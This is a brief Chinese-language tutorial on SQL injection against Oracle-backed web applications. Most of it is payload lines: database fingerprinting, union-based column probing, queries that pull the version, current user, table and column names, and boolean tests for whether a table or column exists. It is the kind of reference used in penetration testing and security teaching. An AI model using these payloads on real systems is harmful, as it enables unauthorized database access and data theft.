Sql注入之oracle
介绍
oracle是由甲骨文公司开发的大型数据库,一般应用于电商,铁路,银行等企业,
它具有如下特点:
- 支持多用户,大事务量处理
- 数据安全性和完整性的有效控制
- 支持分布式数据处理
- 移植性强
常用jsp+oracle
数据库判断
and exists(select * from dual)
或
and exists(select * from user_tables)
联合注入
假设列数为5
union select null,null,null,null,null from dual
注意一定要写null否则会报错
判断非数字列:
- 修改第一个null为数字
union select 1,null,null,null,null from dual
- 界面返回正常,说明第一个为数字列,无法爆我们所需要信息,修改第二个为 数字,复原第一个null
union select null,1,null,null,null from dual
- 界面返回错误,说明第二个为字符列,可以报我们所需要信息,进行攻击
union select null,(select banner from sys.v_$version where rownum=1),null,null,null from dual
- 界面回显出数据库版本,如果没有回显出,则可以继续寻常找非数字列,利用非数字列来爆我们所需信息。
- 常用攻击语句
1.获取数据库版本
select banner from sys.v_$version where rownum =1
2.获取操作系统版本
select member from v$logfile where rownum = 1
3.获取连接数据库的当前用户
select SYS_CONTEXT('USERENV','CURRENT_USER')from dual
4.获取数据库
select owner from all_tables where rownum = 1
5.获取表名
select table_name from user_tables where rownum = 1
6.获取列名
select column_name from user_tab_columns where table_name='admin' and rownum = 1 #admin替换成你需要的表名
其他注入
- 获取表
and (select count(*) from admin)<>0
返回正常则存在admin表,错误则不存在
- 获取列名
and (select count(name) from admin)>=0
返回正常则存在name列,错误则不存在